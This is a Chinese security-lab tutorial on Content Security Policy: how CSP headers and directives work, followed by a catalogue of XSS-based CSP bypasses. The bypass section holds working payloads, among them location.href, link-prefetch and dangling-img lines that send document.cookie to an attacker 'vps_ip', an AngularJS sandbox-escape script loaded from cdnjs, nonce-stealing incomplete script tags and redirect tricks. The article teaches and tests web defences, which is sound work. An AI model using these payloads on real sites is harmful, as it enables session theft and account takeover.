实战攻防
CSP浅析与绕过
2021-04-29 09:20

你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场>> 


XSS是最常见、危害最大的网页安全漏洞,想要抵御它们,要采取非常多编程措施,非常麻烦。那么,有没有可以从根本上解决问题,浏览器自动禁止外部注入恶意脚本的方法呢?CSP应运而生。

本文涉及相关实验:XSS进阶之CSP绕过  (实验介绍了CSP防御机制的基本原理,利用script gadget绕过CSP,进而实施XSS攻击,并对攻击原理和过程进行分析。)


什么是CSP

CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以

CSP如何工作

通过响应包头(Response Header)实现:

Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';

通过HTML 元标签实现:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

CSP指令

我们可以看出,有一部分是CSP中常用的配置参数指令,我们也是通过这些参数指令来控制引入源,下面列举说明:

  • script-src:外部脚本
  • style-src:样式表
  • img-src:图像
  • media-src:媒体文件(音频和视频)
  • font-src:字体文件
  • object-src:插件(比如 Flash)
  • child-src:框架
  • frame-ancestors:嵌入的外部资源(比如<frame><iframe><embed><applet>
  • connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
  • worker-src:worker脚本
  • manifest-src:manifest 文件
  • dedault-src:默认配置
  • frame-ancestors:限制嵌入框架的网页
  • base-uri:限制<base#href>
  • form-action:限制<form#action>
  • block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
  • upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
  • plugin-types:限制可以使用的插件格式
  • sandbox:浏览器行为的限制,比如不能有弹出窗口等。

除了Content-Security-Policy,还有一个Content-Security-Policy-Report-Only字段,表示不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用。

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

CSP指令值

介绍完CSP的指令,下面介绍一下指令值,即允许或不允许的资源

  • *: 星号表示允许任何URL资源,没有限制;
  • self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
  • data:仅允许数据模式(如Base64编码的图片)方式加载资源;
  • none:不允许任何资源被加载;
  • unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
  • nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

下面通过具体的例子来看看CSP指令和指令值的用法:

<img src=image.jpg> 该图片来自https://example.com将被允许载入,因为是同源资源;

<script src=script.js> 该js脚本来自https://example.com将被允许载入,因为是同源资源;

<script src=https://examples.com/script.js>,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源;

CSP绕过

CSP从诞生时起即有安全研究人员所探索,本文总结部分方法

在开始之前,我们都可以将相应的CSP政策丢上Google 提供的 CSP Evaluator检测一波,有奇效(手动滑稽)

location.href绕过

href 属性是一个可读可写的字符串,可设置或返回当前显示的文档的完整 URL。

CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法

demo

<?php
    if (!isset($_COOKIE['a'])) {
        setcookie('a',md5(rand(0,1000)));
    }
        header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
    <title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
    if (isset($_GET['a'])) {
        echo "Your GET content".@$_GET['a'];
    }//
?>

1.png

这个地方可以用location跳转:location.href(window.location/window.open)绕过

exp

?a=<script>location.href="http://127.0.0.1"+document.cookie;</script>

2.png

在我们已经可以执行任意js脚本但由于CSP的阻拦我们的cookie无法带外传输,就可以用此方法

location.href = "vps_ip:xxxx?"+document.cookie

link标签预加载导致的绕过

这是个老办法了,在大部分浏览器都已经约束了该标签,但是老浏览器可能还可行

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

那我们该如何将数据外带呢

动态构建元素,再引发页面跳转

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以将cookie外带了

meta网页跳转绕过

与link标签原理相似,利用meta标签实现网页跳转

http://127.0.0.1/csp.php?xss==<meta http-equiv="refresh" content="1;url=http://150.158.188.194:7890/" >

8.png

除此之外,meta标签还有一些不常用的功能有时也能起奇效

<meta http-equiv="cache-control" content="public">
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

meta这一被很多人忽略的标签,其实可以做到的东西也不少,后面有机会会进一步分析

iframe绕过

iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问,这其中就有安全问题了,但是今天要用到的并不是这些

在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制适iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。

同源 这才是主角,当一个同源站点存在两个页面,我们称它们为A页面和B页面,假如A页面有CSP保护,而B页面没有,我们就可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效

demo&exp

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>
<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="http://127.0.0.1/a.php";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

3.png

setTimeout是为了等待iframe加载完成

你以为就这样就完了?那你果然和我一样天真了

在找CSP绕过相关资料时,还发现了个好玩的东西(zhazhami师傅的博客

在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>


CDN绕过

一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险

这里借Orange大神绕过hackmd CSP的文章(A Wormable XSS on HackMD!)来分析一波

demo

先来看hackmd的CSP策略

content-security-policy: script-src 'self' vimeo.com https://gist.github.com www.slideshare.net https://query.yahooapis.com 'unsafe-eval' https://cdnjs.cloudflare.com https://cdn.mathjax.org https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com https://embed.small.chat https://static.small.chat https://www.googletagmanager.com https://cdn.ravenjs.com 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://cdnjs.cloudflare.com https://fonts.googleapis.com https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com https://static.small.chat; font-src 'self' data: https://public.slidesharecdn.com https://cdnjs.cloudflare.com https://fonts.gstatic.com https://*.disquscdn.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requests

看到了unsafe-eval这个关键字,可以想到Breaking XSS mitigations via Script Gadgets手法,但我们继续往下看就会发现,其实没这么复杂,因为该CSP政策还允许了https://cdnjs.cloudflare.com/这个js hosting服务,这个提供了很多第三方的函数库以供引入,这样我们就可以直接借助AngularJS 函数库以及Client-Side Template Injection里面成熟的沙盒逃逸技术绕过

再因为原本WAF对注释的完全可信,可以构造出<!-- foo="bar--><script>alert(1)</script>>" -->这一payload,用-->来闭合前面的注释,来让后面内容完全可控

两者结合,得出最终payload

exp

<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

详细内容看Orange师傅的文章

如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

总而言之,这一绕过方法主要可以套用网上相应的payload格式来绕过CSP,在Breaking XSS mitigations via Script Gadgets中总结了可以被用来CDN绕过的一些JS库,可以用作参考

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss

案例中codimd的CSP中使用了www.google-analytics.com 而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

demo

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

exp

4.png

5.png

同理,在其他站点提供了可控静态资源的功能时,且CSP中允许了此站点,就可以用该方式绕过

不完整script标签绕过

我们先来了解一个小知识(敲黑板):当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性

好,我们开搞

demo1

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

exp

当我们输入http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1),我们可以发现<script就会被变成一个属性,值为空,之后的nonce='xxxxx'

会被当成我们输入的script标签中的一个属性,成功绕过script-src

6.png

demo2

但是在chrome中,虽然第二个<script 被当成了属性名,但依旧会干扰chrome对标签的解析,造成错误,使我们的exp无法成功执行

exp

这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行

不完整的资源标签获取资源

demo

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见,虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img标签来将数据带出

exp

http://127.0.0.1/csp.php?xss=<img src="//vps_ip?a=

此时由于我们传入的src的引号没有闭合,html解析器会一直寻找第二个引号,而直到”id“前的引号出现之前,所有内容都会被当作src的值发送到我们的vps上

7.png

需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<

302(重定向)绕过

很多时候一个网站都会带有一个302跳转功能的页面,用它来导向到本站的资源或者是外部的链接 我们首先看一下w3c文档里关于重定向的说明https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects

很明显的,如果我们的script-src设置为某个目录,通过这个目录下的302跳转,是可以绕过csp读取到另一个目录下的脚本的。

接下来就来模拟分析一波

demo

<!-- csp.php -->
<?php
 header("Content-Security-Policy: default-src 'self';script-src http://127.0.0.1/a/");
?>

 <html>
 <head>
 </head>
 <body>
     csp header test 
 </body>
 </html>
<!-- redirect.php -->
<?php
header("Location: " . $_GET[url]);
?>
<!-- test.php -->
<!DOCTYPE html>
<html>
<head>
	<title>1</title>
</head>
<body>
123
</body>
</html>

csp限制了/a/目录,而我们的目标脚本在/b/目录下则如果这时候请求redirect页面去访问/b/下的脚本是可以通过csp的检查的

exp

http://127.0.0.1/a/redirect.php?url=/b/test.php

9.png

但这是有一个很严格的条件的,加载的资源所在的域必须和自身处于同域下(example.com),也就是不可能通过302跳转去加载一个其他域下的脚本的,比如通过a.com的302跳转去加载b.com下的脚本是不可以

但!又来个但是了,在实际环境中,比如某个站调用某个cdn,或者类似于script-src example.com/scripts/ google.com/recaptcha/google.com/script/*下有个evil.js,然后刚好站内有个重定向,漏洞条件就已经成立了。


上一篇:与证书大学站的相爱相杀
下一篇:没有了
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731